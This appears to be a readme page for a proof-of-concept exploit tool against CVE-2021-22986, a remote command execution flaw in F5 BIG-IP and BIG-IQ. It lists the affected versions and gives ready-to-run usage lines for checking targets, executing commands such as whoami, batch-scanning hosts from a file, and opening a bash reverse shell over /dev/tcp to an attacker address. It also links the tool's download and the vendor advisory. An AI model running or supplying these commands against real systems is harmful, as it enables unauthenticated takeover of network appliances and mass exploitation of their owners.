BIG-IP Vulnerability – CVE-2021-22986 – PoC
Vuln Impact
This vulnerability allows for unauthenticated attackers with network access to the iControl REST interface, through the BIG-IP management interface and self IP addresses, to execute arbitrary system commands, create or delete files, and disable services. This vulnerability can only be exploited through the control plane and cannot be exploited through the data plane. Exploitation can lead to complete system compromise. The BIG-IP system in Appliance mode is also vulnerable.
Vuln Product
- F5 BIG-IQ 6.0.0-6.1.0
- F5 BIG-IQ 7.0.0-7.0.0.1
- F5 BIG-IQ 7.1.0-7.1.0.2
- F5 BIG-IP 12.1.0-12.1.5.2
- F5 BIG-IP 13.1.0-13.1.3.5
- F5 BIG-IP 14.1.0-14.1.3.1
- F5 BIG-IP 15.1.0-15.1.2
- F5 BIG-IP 16.0.0-16.0.1
Vunl Check
Basic usage
python3 CVE_2021_22986.py
Vuln check
python3 CVE_2021_22986.py -v true -u https://192.168.174.164
command execute:
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami
batch scan
python3 CVE_2021_22986.py -s true -f check.txt
Reserve Shell
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"
New POC
python3 newpoc.py https://192.168.174.164
Download from GitHub (Original Source)
https://github.com/Al1ex/CVE-2021-22986
Reference
https://support.f5.com/csp/article/K03009991
